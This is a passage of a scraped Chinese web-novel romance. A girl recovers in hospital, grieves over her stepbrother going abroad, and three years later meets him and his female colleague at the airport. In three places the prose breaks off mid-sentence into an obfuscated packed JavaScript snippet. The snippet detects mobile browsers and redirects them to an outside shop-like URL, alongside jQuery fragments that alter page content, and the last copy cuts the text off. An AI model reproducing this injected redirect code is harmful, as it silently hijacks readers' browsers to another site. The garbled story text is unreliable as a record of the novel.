这下张舒欣彻底慌了神,对着门口大声道:“护士、护士!医生!快来人啊、快来人啊,我女儿、我女儿昏倒了,快来人啊!” 她哽咽的声音变得支离破碎,眼泪也不断地涌出眼眶。 “什么,怎么了?” “出什么事了?谁晕倒了?” “来了、来了” “谁晕倒了?先别慌。” 病房门外吵吵嚷嚷,护士们听到动静纷纷前来查看,医生也闻声赶了过来。 张舒欣见医生进来,也不顾脸上泪水的狼狈,颤抖着喉咙道:“医生,我女儿,我女儿昏倒了,你快看看怎么回事、你快看看。” 医生匆匆上前将周依抱回病床上,拿着医用手电查看她的眼底,侧头道:“麻烦病人家属先出去。” “保持安静!病人瞳孔放大,对光反射减弱。” “护士,心电监控、氧气供给。” 一时间病房里忙成一片,张舒欣站在门外心乱如麻,不断透过病房门的玻璃向里张望…… 地球另一端,程司远下了飞机,来接机的除了他熟悉的童医生,还有一个跟自己一般大的女生,看起来应该是他女儿。 “司远一路辛苦了,听说你能来我真的很高兴。” 童医生说完,推了推他身边的女生道:“遥遥快打个招呼,去拿行李。这是程司远,你们小时候见过的。” 那女生似乎心情不太好,一脸不耐烦道:“小时候见过跟我现在有什么关系,早不记得了。” 童医生被气得横鼻子竖眼,皱眉道:“你这孩子——” “不麻烦了,我行李不多,谢谢童医生。”程司远道。 女生伸出一半的手停住,随即收了回来,看着面前的人上下大量了一番,忽然眼睛一顿,看着他手里那个格格不入的手袋子道:“那是什么,从中国带的礼物?” 说着,就要动手去拿。 “不是。” 程司远皱眉闪了一下,垂眸看着这个临时多出来的袋子沉默良久,半晌,才缓和道:“是要送给我礼物。” 医院窗外月朗风清,树叶被吹的沙沙作响,偶尔还有不知名的小虫子发出声音。周依再次苏醒已然到了晚上,她眨着发涩的眼睛,看清了坐在床边的张舒欣,开口道:“妈妈。” 声音嘶哑,就连她自己也被吓了一跳。 张舒欣看到周依醒了,一个激灵起身站起,上前将她从病床上慢慢扶着坐起,轻声道:“哎,依依醒啦,妈妈在呢。来,先喝口水吧。” “我来吧。” 程毅的声音忽然在身后响起,他从张舒欣手里接过杯子,说:“你去歇会儿吧,这有我呢。” 这次周依也没有再挣扎着下床,听话地接过杯子,抿了一口。 张舒欣见她神色如常,一颗悬着的心也放下不少。 周依垂眸看着手里的杯子安静了好一会儿,随后抬眼看向张舒欣,勉强地笑了笑,说:“妈妈,我饿了,我想吃皮蛋瘦肉粥。” 声音依旧是沙哑。 张舒欣喜出望外,连连点头道:“哎哎,好,饿了好,知道饿就没事了,妈妈这就去给你做。” “是该饿了,这都多久没吃东西了。”程毅对她道:“你去吧,我在医院陪着依依,放心。” 周依看张舒欣走了,低头隐去眼中的眸色,向程毅问:“程叔叔,哥哥他……他去哪了,为什么走?” 她问题问得突然,程毅明显怔了怔,但很快又恢复平常道:“司远他去上学了,他不是一直都想学医嘛,这次国外一个很有名的医生想当他的老师,依依该替哥哥感到开心,不是嘛?” 周依拿着杯子的手暗暗握紧,依旧低着头,忍着喉咙里的轻颤问:“等毕业、学会了就回来,是吗?” 程毅没听出来有什么异常,不假思索道:“嗯,对。依依真聪明。” 周依自嘲地笑了一下,说:“程叔叔我累了,想再睡会。” 程毅见她躺下也不好再说什么,闻言应了声,就在旁边守着了。 周依侧过头背对着他,肩膀微微颤抖,尽力压抑着心里汹涌的委屈。她不相信程司远走的这么匆忙只是为了去上学,如果是,那她之前怎么从来都不知道,也从来没人提过。一样的问题,一样的回复,如果不是提前商量好的,怎么会? 骗子,都是骗子。 最深的悲伤往往沉默无声,眼眶中氤氲的泪珠还是从眼角流出,划落在枕头上,浸湿一片。 那日之后,周依就像是失忆般,对程司远的事闭口不提。每天按时吃饭,按时睡觉,和张舒欣说说笑笑,对程毅客客气气,看起来就和原先一样,什么事都没发生。 但等病房没有人了,她又会呆呆得站着看向窗外,不知道在想什么。这样的情况被张舒欣碰到过好几次,每次问她,她不是说自己躺久了想站站,就是说自己看到一只很可爱的小猫或者小鸟。 但张舒欣明白,她不是躺久了,也不是看到什么阿猫阿狗,而是心里还在想着程司远。 一开始她也会在周依面前提及程司远,但每次周依都表现的很淡然,并不关心,没说两句就会转移开话题,也不想继续。 这样一来二去,张舒欣便也不再提了。可在医院的日子总是乏味无趣,于是,在某个周五下午,她就带了一个神秘访客,来到了医院。 “依依、依依,你怎么样啦,真是被要你吓死了!” 焦急的声音从病房门口处传来,却声比人先到病房。 这人不是李佩佩还能是谁? 原本周依还躺在床上拿着书发呆,听到声音也是一喜,急忙起身向门口望去道:“佩佩你怎么来了?” “干嘛,我不能来啊,我最好的朋友住院了,我当然得来了。”李佩佩道。 “是啊,佩佩一直都很担心你,前几天就说着喊着想来看你。”张舒欣笑着从李佩佩身后走出来。 李佩佩被说的脸上泛红,但嘴上依旧不饶道:“我才没有呢,我前几天都忙着学习,顾不上想。” “噗哧”一声,周依笑道:“好好好,是我想你还不行嘛。” 李佩佩仰着自己的下巴,傲娇道:“哼,这还差不多。” 说完,两人互相对视一眼,随即不到两秒便都弯着腰,笑了起来。 顿时,安静的病房里充满了嬉笑声,多了不少活力。 张舒欣看着周依脸上久违的笑容也稍放宽了心,本着不打扰两个小女孩快乐时光的心思,给她们各削了个苹果,便称自己有事,出去了。 李佩佩拿着苹果猛啃了一大口,用下巴朝着周依点了点,问:“说吧,怎么突然就出车祸了,那天放学你急急忙忙到底去干什么了?” 周依低头看着自己手中的苹果,犹豫半天,还是放回桌子上,说:“没干什么,就是过马路的时候碰到闯红灯的司机,然后一个不小心,就这样了。” 说着,还向对方摊了摊手,一副无奈表情。 但李佩佩却不肯买账,提高嗓音道:“没干什么?我不信。周依,我们是好朋友吧!” 周依看着她内心挣扎了一下,半晌,泄了口气,把原委仔仔细细说了一遍。 于是—— “我的老天爷啊,这几天怎么发生了这么多事?” 李佩佩睁大双眼,带着一脸难以消化的表情,问道:“所以你哥——哦不、他已经走了?你醒之后也没见过?” 周依苦笑一声道:“没有。” “所以你觉得他是因为讨厌你才去出国念书的?可我怎么觉得是你想复杂了,应该……不至于吧。万一就是时间赶得紧来不及等你醒来呢?” 李佩佩顿了顿,突然又想到什么,继续说道,“段梓坤呢?他那个好朋友,他会不会知道点什么?” 周依眼睛一亮,随机又暗淡下去,摇了摇头道:“算了,我不想问。我问过程叔叔跟我妈妈,他们的回答都一模一样,你不觉得这太巧了吗?万一是他们为了掩饰讨厌我的事实,故意撒谎骗我的呢……” 说到最后,她声音也有了一丝哽咽。 李佩佩心里也跟着难受,鼻尖酸了酸,猛地起身将周依抱住,说:“管它真相是什么,在我心里你就是最好的,他走了就走了,你还有我呢,我不走。” 周依被她抱住也是一愣,随即听到她这“义正严辞”的话,顿时,又是好笑又是感动。她忍着眼眶里婆娑的泪水,笑着道:“就是,我还有你呢。” 李佩佩“噗哧”笑了出来,吸着鼻子,点头笑道:“那是。” 两人说说笑笑一直到了傍晚,最后在张舒欣的催促下才依依不舍的道别。 周依目送李佩佩走后,又转头道:“妈妈,我可以出院吗?我想上学了。” 张舒欣见她精神状态好转不少,心里也是开心的紧,伸手摸了摸她的头发,柔声应道:“好,等检查报告出来,没问题了我们就出院。” “妈妈,谢谢你。” 张舒欣听了微怔,随后满眼温柔,轻叹着回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12885316|135289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了句:“傻孩子。” 第二天医生看着一切正常的检查报告,便对她们下达了最后的通关文牒。 几人到家后,周依被安排坐在沙发上看电视,程毅和张舒欣则是一个打扫卫生,一个准备下厨,忙得不亦乐乎。 周依坐在沙发上百无聊赖,总觉得心里觉得空捞捞的,电视也看不进去。 家里有太多那人的身影,进门会想到他,客厅会想到他,就连厨房也会想到他。 尤其是现在这一闲下来,周依感觉满脑子都是程司远。她快疯了。 一开始她还想着帮程毅打扫卫生,认为只要自己忙起来就不会想了,可她刚开口,就被程毅一口回绝道:“不行,你现在还是病人,病人就应该好好修养,看电视去。” 之后便又想着去厨房帮忙,但张舒欣也笑着拒绝道:“听话,你现在得好好休息,以后你再帮忙也行。告诉妈妈你想吃什么,妈妈给你做。” “水煮肉片。”周依不假思索道。 张舒欣听了一愣,随即又道:“我还以为是糖醋里脊呢,不过也是,在医院吃了那么多天清淡的,是该吃点有味儿的。” 说完,便拿着围裙进厨房做饭了。 周依却是站在原地愣了好久,半晌自嘲苦笑一声,落寞占满胸腔。 是啊,明明是糖醋里脊才对。 她便甩了甩头,努力将这乱七八糟的思绪甩出脑海,在客厅里没头没脑地溜达了一圈,最后还是决定回房间,把自己落下的功课补一补。 可周依刚坐下还没拿起笔,随手翻开草稿本,就看到了程司远上次给自己讲题留来下的的笔迹。她手指微微顿了下,轻皱着眉毛,快速翻了几页,把那笔迹盖了过去。 然而还没写几道题,她就感觉这手下的草稿本跟自己有了生命似的,疯狂扭曲爬行。让本来就烦躁难耐的她,更加坐立难安,全是都不舒服。 她咬着嘴唇忍了又忍,片刻,突然将手里的笔扔向一边,抬手、落下,“嘶啦”一声,将所有含程司远笔迹的纸都撕了下来。 揉捏、握紧、丢进垃圾桶。 周依做完这一系列,却是再也没有想要学习的欲望了,她仰靠在椅子上,看着房间的天花板愣愣出神。 忽然—— “依依,出来吃饭了。”张舒欣吆喝道。 周依这才慌忙收了神,应道:“奥好,知道了妈妈。” 她坐在饭桌前,看着色香味俱全的菜肴心情似乎好了那么一点,拿着筷子吃得倒也津津有味。 “嗯?这水煮肉片是不是忘放蒜了?”程毅疑惑地看着桌子上的菜。 张舒欣拍手,惊道:“哎呀忘了,之前水煮肉片都是给司远做,他早前跟我说他不吃蒜,我就一直没放,这一来二去的我都习惯了。” 周依正吃饭的手猛地一顿,怪不得,怪不得她总觉得张舒欣做饭跟之前不一样了。原来从那时候就变了,自己……自己居然都没有发现。 可,为什么又是他。 “依依你怎么了,是不好吃吗?”张舒欣问。 “没、没什么,好吃。” 周依收了神,垂眸看着自己碗里的水煮肉片道:“没蒜的,真的很好吃。” 程毅也附和道:“就是就是,我也觉得好吃,你妈妈做饭那是一绝,有蒜没蒜都好吃。” 张舒欣被夸的不好意思起来,白了程毅一眼,对周依道:“好吃就行,多吃点,最近都瘦了。” “还有,妈妈要送你一个礼物。” 她笑着从身后拿出个盒子道:“看看,这是什么。” “手机?”周依睁大眼睛道。 “对啊,之前答应过你的,快拿着。” 周依看了眼程毅,见他也点头示意自己拿着,这才伸手接了张舒欣递给自己的手机,说:“谢谢妈妈。” 一顿饭吃的无言,到最后周依只觉得嘴里苦的发涩,心里酸的难忍。手机有了,人却走了。 这样的情绪到了夜晚就更是折磨人,寂静的黑夜总是能够轻易的揭开情绪的面纱。 周依躺在床上辗转难眠,她看着自己手上的小狗皮筋陷入沉思,不是张舒欣买的,后来她也问过程毅,也不是。 那是…… 突然,某天树下的一个画面在她脑海里一闪而过,周依猛的坐起,看着手上的小狗皮筋睁大了眼睛。是他。 程司远来见过她,他没有扭头就走。可为什么不等她醒来、为什么不听她解释、为什么要走,又留她一个人…… 哽咽的声音在静谧中回荡,每一次抽泣,都像是心中的琴弦被拨动,释放出无尽的悲伤。 25.帅哥 纱帘飘动,阳光被卷动着撒在屋内。不知怎么又睡着的周依突然睁开眼睛,眼角还噙着一滴来不及落下的泪,枕边已然湿了一片。 她支撑着身体坐起来,用手随意在脸上抹了一把。明明都三年了,怎么还是会梦到他。 周依思绪混沌,莫名觉得自己好像忘了什么事。她打着哈欠,按亮一旁的手机,显示:星期六,晴,十一点三十分。 上划解锁,张舒欣的对话框就赫然出现在眼前,还有一条没来得及听的语音消息。 周依看着屏幕沉默几秒,天知道她真的不是有意要睡着的。 她咽了咽口水,指尖轻触上那条语音。 “这一不小心又说多了,行了,你赶紧起来吧,我一会儿还得去开会。司远他两点的飞机,到时候见了面别苦着一张脸,礼貌一点……” 语音有几秒的空白,周依刚想退出,就又听后续道:“奥,对了,到时候记得叫哥。” ”……”周依。 对于“程司远回来”的信息而言,现在马上火烧眉毛的时间更是来得致命。 简直就是扛着碌碡撵兔子,她也分不清什么轻重缓急了,起床就是一顿乱七八糟地收拾。简单穿了一件淡蓝色的裙子,熟练去拿枕头边的小狗皮筋。 可刚伸手触碰到,周依便顿住,嘴里“啧”了声,连同一旁的大象玩偶都被她一股脑儿,塞进衣柜里。 “姐心情不好就关你小黑屋,哼!” 她低声狠狠说完,“哐”的就关了柜门。 甚至还细心地把床上其他玩偶重新摆了摆,试图营造出“本就这样”的哄人假象。之后随意拿了个皮筋,顺手套了件米白色外套,就匆匆出门了。 可周依坐上车,又意识到了事情的不妙。她和程司远已经三年没联系了,连他的事都不知道几件,更别说见面了。所以—— 他现在长什么样来着? 周依如临大敌,也来不及有过多反应,拿起手机就给张舒欣打电话。她得问问那人现在大概长什么样子,或者有什么近期的照片也好,至少……至少不至于让她认错人啊。 “嘟……嘟、对不起,您拨打的电话暂时接通,请稍后再拨……” 周依疑惑,怎么到不接呢? 但很快她就意识到,猛拍了下自己脑袋。完了,他们在开会,完了、彻底完—— 啊!对了! 周依灵机一动,点开微信,抬手就给段梓坤发了条消息: 月曜:梓坤哥,你有程司远照片嘛,最近的。 她发完默读了一遍,感觉好像不太对,又补充发了条: 月曜:他今天回来,我妈他们没空,所以我去机场接他,但我不知道他现在长什么样,认错人就尴尬了。 月曜:拜托拜托。 但不知对方是不是正忙得厉害,信息发过去半天了都没见有回复。 周依不停上下翻着绿泡泡软件,一遍又一遍的刷新。 点开,没消息,退出去,再点来,没消息又退出去…… 她就奇了怪了,纳了闷了。 之前给段梓坤发短信,虽然没有秒回吧,但也不会等太久,可今天……怎么回事? 去吃饭了?睡午觉了?怎么不理人呢。 周依手指还在不停的刷新着,眼睛也一直盯着手机,出租车一晃一晃的。没多久,就感觉自己胃里开始翻江倒海。 她从醒来到现在也没吃东西,吐应该是吐不出来,就是胃一阵阵的抽痛让她有点受不了。 周依连忙关了手机把车窗打来一条缝,闭着眼靠在座椅上养神。心里抱怨道,真是怕什么来什么,早知道啃两口面包再出门了。 这三年里,程毅和张舒欣的生意越做越大,天天都忙的顾不上回家,做饭的时间自然更是少的出奇,每次都是给周依零花钱,让她出去吃饭。 可奈何周依过敏源特殊,再加上嘴挑,这一来二去,她就有了个坏习惯,那就是—— 不饿就不吃,饿了就随便啃两口面包打发自己,更有甚者像今天,一觉睡醒中午了,有事一忙又忘记吃了。 长久以来,周依时不时就会胃疼,但奈何她心大,毫不在意,就只单纯的觉得自己该进食了。 周依微闭着眼眸,不知在窗边吹了多久的风,才觉得自己胃里灼烧感减少了不少,也没刚刚那翻江倒海的晕车感了,便又点开手机去看信息。 依旧没回。 她皱眉看了眼右上角的时间,一点三十五。 “叔叔麻烦问一下,还有多久到机场啊?”她问。 司机从后视镜看着周依,笑着说道:“快了,差不多五分钟吧。美女去机场接人啊,是男朋友嘛?” 果然,这世界上总是不缺八卦的司机。 周依一愣,不知是尴尬还是其他什么,脸有点发红,讪笑道:“不是不是,不是男朋友。” 司机又从后视镜看了她一眼,笑着摇了摇头,叹息一声道:“年轻真好啊。” 看看又来了。 周依汗然,脸上尬笑不止道:“哈哈哈、哈哈哈,叔叔也年轻,哈哈哈。” 心里,救命不止。 五分钟后,果然到了机场。周依顺利结束尬聊时光,和司机说完再见急忙下了车,几个快步就冲进了机场。 “呼,一点四十五,还好还好,来得及。” 周依跑到飞机出站口,拿着手机气喘吁吁,随手打开微信,见段梓坤还是没有回自己消息,不由开始着急。 她拿着手机犹豫再三,左右踱了几步,还是选择打了语音电话。 微信电话的声音在耳边响起,周依一边焦急的等待,一边点着脚不停向出站口张望,心里还不忘默念着,接电话,接电话,接电话…… 就在电话快要挂断的最后一秒,“嘟——” 接通了。 “梓坤哥你终于接电话了,看我给你发的消息了吗?”周依问。 “啊,呃……那个我、我还没看呢,你等等哈,等等,我看看你发的什么。”手机传来另一端段梓坤支支吾吾的声音。 “哎呀,别看了,没时间看了,我跟你再说一遍。”周依焦急道:“我现在在机场,程司远要回来,但他走后我就没见过他,不知道他现在长什么样,所以你有他照片吗,最近的。” 她顿了顿,又补充道:“不是最近的也行,让我能认出来就行。” 对面的段梓坤感觉像是断了网,过了好半晌,才后知后觉道:“奥……你在机场啊,程叔叔没去吗,你妈妈也没去吗,你自己去的?” “???” 周依听得满脑子的问号。不是,这人的关注点到底在哪啊! 她又看了眼时间,催道:“对对,我在机场,现在在出站口,他们忙没空,我自己来的。照片!梓坤哥,照片啊!” “奥对,照片,照片啊……你别急,我找找,我找找哈,我应该是有的。” “好,找到、嘟——” 周依话还没说完,语音通话就被挂断了。她拿着手机一脸黑线,搞什么名堂,怎么关键时刻掉链子,之前也没这样过,难不成是今天出门忘看黄历了? 她心里越是着急,就越是觉得胃里一阵阵的抽痛,紧接着小肚子也跟着有点难受。 果然,出门忘看黄历了。 终于,等周依第n次打开手机,她决定不忍了,深吸一口气,牙一咬心一横。 反正出来还要拿行李,说不定时间还早,还是先去上个厕所才是头等大事。 说去就去,头也不回。 等她出来的时候,机场大屏上已然显示是两点零五了。 周依看了眼段梓坤的聊天框,还是没消息,不由瘪着嘴,嫌弃道:“什么土豆效率啊,断网了嘛。” 她一边走,一边默默祈祷,希望那人没什么太大的变化,如果有,麻烦还请至少能让她认出来。 随着出站口出来的人越来越多,周依也越来越靠近出站口,蓦地,她开始害怕起来。 这次突然的回来,就和当初一声不吭的离开一样,没有人通知的她,她总是最后一个知道。 一地鸡毛也好,井然有序也罢,她总是被迫接受的一方。哪怕是三年后的今天,她依然不知道他们口中的“出国留学”究竟占了几分真。 或许她不该来接他。 周依手心涔涔冒着汗,脚步也是越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12902512|135289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来越沉,脑子里还有一个声音,不断嚷嚷着:“回去,他根本不想见到你,快走。” 随即,另一个声音又忽得盖过它道:“你能逃去哪?程司远总要回家,你躲的了初一也躲不了十五。” “那就先躲到十五,能轻松一会儿是一会儿。” “不行!到时候抬头不见低头见,横竖都是尴尬,不如先尬完,之后也能少尬点。” 两个声音吵来吵去的,周依脑子里像是炸了锅。她猛地停下脚步,左右甩了甩头,将着两个烦人的声音统统赶走。 人流攒动,她深吸一口气,咬紧牙关。 反正自己马上高考了,大不了到时候就考出去,不在家里呆着。他不想见我,我也不在他面前晃悠,现在只要完成任务就行,不难。 周依在心里默默给自己打气,不知不自觉就走到了出站口。她抬头看着熙熙攘攘拉着行李的人,一阵眼花缭乱,找了遍天也没找到程司远在哪。 她左悄悄,右看看,忽然有个戴着帽子和墨镜的青年男子慢慢靠近,嘴角还噙着一抹淡淡的笑。 可奈何周依找人找的认真,全部注意力都在眼前,完全没注意到自己身后。而那男生好像也没要说话的打算,就走到她身侧,便驻足不动了。 人流慢慢疏散开来,出站的人越来越少,接站的人也只剩零星,周依点着脚不停张望,到底在—— 她还没有想完,忽然余光一顿,就瞥见自己身侧,不知道什么时候站个高大的男人。 周依先是一惊,随即眼睛又忽得亮了。 就见那人侧脸利落分明,鼻梁挺拔,嘴唇淡抿着,下颚向内收,能看清脸颊上绷紧的肌肉。虽然戴着墨镜,但毋庸置疑,绝对是个大帅哥。 啧啧啧,一米八几的大帅哥,极品啊。 周依不由在心里连声赞扬。 但不知这大帅哥是不是感受到了周依炽烈的目光,竟也转过脸,低头看向她。 霎时间,四目相对。 虽然是隔着墨镜,但周依依旧感受到了对方眼中的热烈。 她吓了一跳,后退一步,以为是自己盯着看太久,冒犯到对方,又连声道歉:“抱歉,不好意思啊,我没事别的意思,就是……就觉得你眼镜挺好看的,所以多看了几眼。” 说到最后还尴尬地笑了几声。 和之前一样,还是那么不擅长撒谎。 那帅哥嘴角微微勾起,好像并没有生气,反倒心情很是不错的样子。他沉默几秒,悠悠开口道:“哦?是嘛,我也觉得挺好看的。” 周依听到便是一愣,这声音有点似曾相识,但又说不出自己是在哪里听过。她上下打量了一下面前的帅哥,心里暗暗打着鼓,试探道:“我们……见过?” 帅哥动作一滞,没有直接回答她的问题,而是笑着反问道:“你是在等人?” 他不等周依反应,就又转头看着出站口的方向,说:“我也在等人,一起吧。” 周依略感疑惑,但见他伸着头似乎真的在等人,而且也没什么恶意,便点了点头,也转了过去,没再说什么。 只是心里却总觉得有哪里怪怪的,那人的声音平淡里透着清冷,语气还含了几分她看不懂的笑意。 等等,不会吧—— 周依瞳孔骤缩,心脏剧烈地跳动着,脸上也浮现出不敢置信的表情。 她急忙斜眼瞥了下自己身边的帅哥,还没来得及确认,就觉手里嗡嗡震了两下。她蓦地别过眼,轻颤着拿起自己的手机,心里更是不安。 当看到锁屏上显示段梓坤发来照片消息时,她更是呼吸一滞,手指也僵在半空。 只是犹豫片刻,她还是咬着嘴唇,轻触点开。 眼眸垂直落在屏幕上,一霎间,周依的大脑彻底失去了指挥自己行动的能力。她就像电脑死了机,地站原地一动不动,愣着两只眼睛呆呆的看着手机上的照片,心也被拴了块石头似地直沉下去。 照片上那人穿着一件宽松柔软的棉麻衬衫,微敞的领口漏出锁骨的优雅弧度,干净得像是神祇。与自己身侧帅哥不同的,也只是手里没有外套,脸上没有帽子和墨镜罢了…… “程司远,你有意思吗?” 26.女友 “程司远,你有意思吗” 周依压抑着心中的怒火,声音都有些颤抖。 身边这人不是程司远,还能是谁? 程司远嘴角笑意更浓,仿佛听不出对方声音里的愤怒。他转身摘下墨镜,露出那双漆黑的眸子,眼中情愫飞快闪过,随即又无声隐去,俯身玩笑道:“好久不见呀,小孩儿。” 周依抬头迎上,蓦地心里一紧,下意识后退一步。 久违的称呼再次传入耳朵,这几年的委屈一下融入心头,她鼻尖有些发酸,别过脸道:“既然已经到了,为什么还要假装不认识。” 声音却比刚刚软了不少。 程司远心中微动,站直身体,随手将墨镜挂在衣服上,垂眸道:“依依变化太大,都长这么高了,有点不敢认。” 这话倒是不假。 如果说周依之前是软萌可爱的话,那么现在就该说是青春靓丽,眉间淡去了原本的稚气,个子也长高不少。只不过比起程司远,还是矮了一头罢了。 但……不敢认? 她怎么觉得程司远一眼就认出了自己。 周依耳根发红,抬眸瞥了他一眼,故作镇静地冷声道:“你变化也很大,又长高了。” 还变帅了。 但她并没有说出来,只是在心里这样想。 程司远嘴角扬了扬,喉咙里“嗯”了声,便不再说话,站在原地也没动作。 周依整个人都处于一种莫名的尴尬和窘迫之中,她以为这次见面会和最初刚见面一样,两人只互相点头,打个照面就行了。可现在,她有点看不懂了。 程司远像是失了忆,就感觉只是出去玩了趟,现在回来了,他们还是说说笑笑,与原来无恙。空白的三年就像个笑话。 周依冷了脸,说:“既然到了就回去吧。” 说着便要走。 可谁知,她刚转身就被程司远一把抓住了手臂。 “等等,先别走。”他说:“还有人没出来,再等一会。” 周依被突然拉住正是一头雾水,听到他说还有人,更是直犯迷糊。她没听张舒欣说还有谁要来啊。 “谁啊?”她问。 程司远并没有松开的意思,摊着另只手道:“同事,她走的慢。” 周依意识到自己手臂还被拉着,倏地抽回,藏在身后,抚着刚刚被触碰到的地方,觉得皮肤都开始变得滚烫。她别过脸道:“那就等等。” 程司远手里一空,蓦地怔了下,抬手揉了揉鼻子“嗯”了声,便转身负手而立。 一时间,两人都没有说话,周身的氛围也变得十分微妙,并排站着,若即若离。 忽然一个声音传来,打破了此刻的宁静—— “程司远,你真行!把行李扔给我就跑了?” 出站口处,一个身材曼妙的女生径直朝他们走来。 那人身姿挺拔,被挑染过的长发自由的散落在身后,步履急促,与她格格不入的是那左右手里的两个大号行李箱。 周依猛地看向程司远,惊诧的同时,好像还有一丝不可察的不悦。 等的是……她、嘛,女同事? 程司远嗤笑一声,迈步上前接过那女生手中自己的行李,说:“理解一下。” 他转身看向周依,介绍道:“这是我同事,童遥。” 周依刚想打招呼,但还没来得及说话,就见那名叫“童遥”的同事,用胳膊戳了戳程司远,笑着打趣道:“诶诶,这就是周依吧。” 程司远白了她一眼,不可察地往周依身边移了几步,垂眸轻“嗯”了声。 周依正皱眉头疑惑为什么对方会知道自己名字时,就见童遥伸手跟自己招呼道:“你好呀,依——” 她说着突然顿住,似乎觉得不妥,“呃”了声继续道:“我可以这么叫你嘛?你可以叫我童姐姐,或者童遥,都行。” 周依愣了愣,连忙伸手握住对方递过来的手,讪笑道:“可以,没关系,怎么叫都行。你好,童姐姐。” “你倒是挺自来熟。”程司远瞥了眼童遥,又对周依道:“走吧。” 周依有点不可置否,刚要迈步,就又听童遥玩味十足的声音,再次响起道:“这还不很正常,再说,我们什么关系。” 瞬间,周依的眼被惊得瞪大,她快速扫向两人,生怕被发现似的又匆匆垂眸别开。 什么关系? 她心里暗问,同时觉得一撮火苗也莫名燃了起来。 周依扭头就走,先一步在他们面前,急促道:“既然都到了,那就走吧,时间不早了。” “等等。”程司远说。 周依充耳不闻,脚下飞快。突然—— “小心!” 周依来不及注意地上的水,脚下一滑,整个身体都跟着歪了出去。看就要摔个狗吃屎,她下意识挥动着手去维持身体的平衡。 忽然手上一紧,下一秒她就被那股力量,拽得扑到个温热的怀抱里。踉跄一步,稳了下来。 “你没事吧。”程司远说。 周依倏地从他怀里跳出,耳根泛着薄红,慌乱道:“对不起,刚刚没站稳,我、我没事。” 说完,又觉自己手还被程司远牵着,蓦地心也跟着轻颤了一下,但不等她细品,这轻微的触动,便很快就被这心有余悸的惊慌盖了过去,抽手道:“谢谢啊。” 程司远垂眸沉默了几秒,才道:“没事就好,回去吧。” 周依依旧走在前面,程司远和童遥拉着行李箱跟在后面,三人步子都不小,看起来甚至有点像“你追我赶”。 于是,几人便一路追赶的到了出租车旁。程司远伸手打开前排车门,对童遥道:“你坐前面,我先回趟家,就不跟你一起了。” 童遥点头,应声道:“嗯行,那到时候你给我打电话,我去接你。” “嗯。” 周依看着两人一唱一和,心里的邪火也是越烧越旺。她憋得有点难受,打开后座车门,弯腰就附了进去,扭过头不再说话。 程司远看到她上车也开门坐了进去,对司机道:“师傅,先去十梓路,再去平江路。” “哎,好。” 司机答应一声,便开动了车。 车上片刻无言,气氛也变得有些莫名。周依坐的紧挨车门,垂眸不知道在想什么。 程司远坐的倒是随意,后仰头靠着座背,脸面朝着玻璃,抿唇也像是在沉思。只不过那双眼睛却没看向窗外,而是时不时瞥向身侧,又快速移开。 前排的童遥则是时不时抬头看后视镜里的两人,嘴角扬了又扬。 过了不知道多久,突然她轻咳一声道:“司远,周一报道,别忘了。” 听到叫自己,程司远回了神,转头看向前排,应声道:“嗯,知道。” 说完又忍不住斜着眼睛,偷偷瞥向周依,刚想开口说什么,却发现对方已然靠着座椅闭了眼睛,嘴巴张了张,还是忍住了。 然而正闭目的周依却是在假寐,现在安静下来,她不由觉得很奇怪,想不明白为什么自己看见童遥就没由来的感觉火大,心里也是憋屈的难受。 是因为没人告诉她程司远不是一个人回来的?还是因为对方出来的太慢她等太久了?那是因为对方自来熟,太热情了? 好像都不是…… 话说,同事会帮忙提行李嘛? 好像也会。 那她怎么连自己名字都知道? 肯定是程司远说的。 可为什么给她开车门,还叫他“司远”? 他们关系好。 周依现在脑子里像是装了本“一问一答式”的十万个为什么,满脑子的问号和句号让她又郁又躁,到最后,竟还有一丝奇异的酸涩涌入心头。 一时间,胃也跟瞎热闹,突然绞痛起来。 真是不够她忙的。 周依闭着眼皱了皱眉头,双手抱着自己顺势往车的角落里藏了藏身体。 可谁知,在这车上晃着晃着,假寐的周依就变成了睡着的周依,甚至还做起了梦…… 梦里,张舒欣做了一大桌子菜自己爱吃的菜,饭桌上她、张舒欣、程毅、程司远,一家四个人都围在一起。 周依看着自己面前的水煮肉片馋得直流口水,夹了一大块牛肉到自己碗里,但她刚入口就觉得不对。酸的? 正皱眉头想,今天张舒欣是不是放错调料了,怕不是平时放辣椒的量都换成了醋?但她还没来得及张口,就见程司远突然站起来,说:“爸爸,我今天带女朋友回来了。” 程毅听了急忙放下手里的筷子,高兴得直点头道:“太好了,是谁啊,快给我们介绍介绍。” 张舒欣也放下碗筷,附和道:“就是啊,快让我们都认识认识。” 周依看着程司远疑惑不已,这不刚回来怎么会有女朋友了,什么时候谈的,她怎么不知道? 她脑子里虽是这么想,但手上的动作却是不停,又夹起旁边的糖醋里脊大吃一口。可这一口却是更酸了,简直都能把她眉毛酸掉。 “这就是我女朋友。” 这时程司远从饭桌上站起来,走到玄关打开门道:“她叫童遥。” “你们好呀。” 童遥径直走到周依身边,凑近满脸笑容道:“依依你好呀,你可以叫我童姐姐。” 周依吓得筷子一抖直接站了起来,惊恐道:“童姐姐?女朋友?” 童遥走到饭桌前,拿起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 